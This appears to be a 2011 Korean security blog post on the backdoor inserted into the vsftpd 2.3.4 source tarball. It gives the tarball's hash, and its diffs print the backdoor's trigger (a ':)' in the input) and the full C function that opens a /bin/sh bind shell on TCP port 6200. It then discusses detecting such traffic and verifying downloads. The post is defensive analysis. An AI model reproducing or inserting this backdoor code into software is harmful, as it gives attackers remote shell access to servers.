2011년 7월 11일 월요일

오픈소스 FTP 서버 Vsftpd 에서 발견된 백도어

얼마전 알려진 Vsftpd 의 백도어에 대해서 잠깐 이야기 해보고자 한다. Vsftpd 는 빠르고, 안전한 FTP 서버 라는 이름으로 개발되어 지고 있는 오픈소스이다. 그런데, 이 FTP 서버 프로그램에 백도어가 있는 사실이 알려졌다. 누군가가 백도어를 만든 소스코드를 원본 배포 사이트에서 바꿔치기를 한 것이다.

문제가 된 파일은 2.3.4 버전으로 SHA256SUM 값은 아래와 같다. 만약 이 값 이라면 해당 파일은 백도어가 있는 파일이다.

2a4bb16562e0d594c37b4dd3b426cb012aa8457151d4718a5abd226cef9be3a5 vsftpd-2.3.4.tar.gz

약 하루반에서 이틀 정도 배포가 이뤄진 것으로 추정되는데, 7월 초 vsftpd 소스파일을 받은 사용자가 있다면 한번쯤, 의심해 보는 것이 좋겠다.  문제가 되는 소스 파일을 잠깐 들여다 보면,
0x3a,0x29 값이 보인다. 이 값은 ASCII 로 => ':)' 이다. 즉,  :) 가 인자로 입력되면 vsf_sysutil_extra() 가 호출된다.

diff -ur vsftpd-2.3.4/str.c vsftpd-2.3.4.4players/str.c
--- vsftpd-2.3.4/str.c 2011-06-30 15:52:38.000000000 +0200
+++ vsftpd-2.3.4.4players/str.c 2008-12-17 06:54:16.000000000 +0100
@@ -569,11 +569,6 @@
     {
       return 1;
     }
-    else if((p_str->p_buf[i]==0x3a)
-    && (p_str->p_buf[i+1]==0x29))
-    {
-      vsf_sysutil_extra();
-    }
   }
   return 0;
 }

이  vsf_sysutil_extra() 는 sysdeputil.c 에 기술되어 있는데, TCP/6200 번 포트를 리스닝 하게 되어 있고, 접속시 /bin/sh 인 쉘을 실행한다.

diff -ur vsftpd-2.3.4/sysdeputil.c vsftpd-2.3.4.4players/sysdeputil.c
--- vsftpd-2.3.4/sysdeputil.c 2011-06-30 15:58:00.000000000 +0200
+++ vsftpd-2.3.4.4players/sysdeputil.c 2010-03-26 04:25:33.000000000 +0100
@@ -34,10 +34,7 @@
 /* For FreeBSD */
 #include <sys/param.h>
 #include <sys/uio.h>
-#include <netinet/in.h>
-#include <netdb.h>
-#include <string.h>
-#include <stdlib.h>
+
 #include <sys/prctl.h>
 #include <signal.h>

@@ -220,7 +217,7 @@
 static int s_proctitle_inited = 0;
 static char* s_p_proctitle = 0;
 #endif
-int vsf_sysutil_extra();
+
 #ifndef VSF_SYSDEP_HAVE_MAP_ANON
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -843,30 +840,6 @@
   }
 }

-int
-vsf_sysutil_extra(void)
-{
-  int fd, rfd;
-  struct sockaddr_in sa;
-  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
-  exit(1);
-  memset(&sa, 0, sizeof(sa));
-  sa.sin_family = AF_INET;
-  sa.sin_port = htons(6200);
-  sa.sin_addr.s_addr = INADDR_ANY;
-  if((bind(fd,(struct sockaddr *)&sa,
-  sizeof(struct sockaddr))) < 0) exit(1);
-  if((listen(fd, 100)) == -1) exit(1);
-  for(;;)
-  {
-    rfd = accept(fd, 0, 0);
-    close(0); close(1); close(2);
-    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
-    execl("/bin/sh","sh",(char *)0);
-  }
-}
-
-
6200 번 포트에 대해서 SANS 에서 조회해 보면 7월5일 급격하게 증가된것을 볼 수 있다. 7월6일이 가장 큰 Peak 를 기록하다 7일날에는 많이 떨어졌다.

http://isc.sans.org/port.html?port=6200

여러분이 패킷 관찰 중, TCP/6200 번이 보인다면 관심을 가져보아야 할 것이다. 물론, 이것은 잠시동안 배포된 소스파일상의 백도어 였고, 이미 어느정도 알려져서 문제가 지속될 것으로는 보이지는 않는다. 다만, 이번 사건을 계기로 오픈소스 코드를 다운로드 받을 때는 한번 해쉬값을 체크해 보고 사용하는 것이 좋은 습관이다.

일단, 지금은 TCP/6200 번이 Vsftpd 의 백도어 포트로 사용되었다는 것은 알려진 사실이다. 그런데, 만약 이런 것이 알려져 있지 않고 내부에서 계속 사용해왔다면 어땠을까? 여러분이 네트워크 행동을 관찰하고 있다가, 평소에 보이지 않았던 6200 번 포트가 발생하였다는 것을 감지할 수 있었을까?  네트워크 규모가 큰 곳이라면 사실 탐지가 힘들 수도 있을 것이다. 워낙에 다양한 이벤트가 많고, 그 데이터 또한 너무나 크기 때문이다. 결국 사람의 눈으로는 발견해 내는 것이 쉽지 않고, 어떤 자동화된 탐지도구들이 필요로 해지는 것이다.

하지만, 자동화된 분석 도구라고 해서 다 감지할 수 있는 것도 아니고, 관리자 입장에서는 참으로 힘든일이다.  그렇지만 현재의 네트워크 Activity 를 가장 잘 알고 있는 사람이 여러분들 일 것이다. 네트워크를 가장 잘 알고 있기 때문에 평소에 발생되지 않았던 포트와 같은 상황들을 잘 알고 있다.  이 뜻은 네트워크 보안 정책을 보다 정확하게 설정할 수 있다는 뜻도 된다.  필요한 포트들만 오픈되고, 특정 IP 로만 한정되고, 어떻게 네트워크 보안 정책을 수립해야 하는지 말이다.

네트워크 규모가 커지고, 복잡해 짐에 따라 방화벽이나 기타 네트워크 장비들의 설정도 복잡해 지고 있다. 이런 복잡함이 가져오는 잘못된 정책들도 더러 발생하고 있고, 분명 간단한 정책보다는 복잡한 설정이 가져오는 Risk 는 있을 수 있다.  아~~ 잠시 백도어 이야기를 하다 보니  글이 살짝 다른 방향으로 빠지고 있는데, 이 이야기는 나중에 한번 다시 해볼까 한다.

어찌되었든 이런 백도어가 이번이 처음은 아닌데, 만약 백도어가 있을때 과연 네트워크 관점에서 탐지해 낼 수 있는 시스템, 분석 관점에서 대비가 되어 있느냐에 대해서 생각해 보게 만들어 함께 공유해 보고자 하였다.

[참고]
1. Vsftpd 사이트
http://vsftpd.beasts.org
2. 백도어 파일과 정상파일 비교
http://pastebin.com/AetT9sS5

댓글 없음:

댓글 쓰기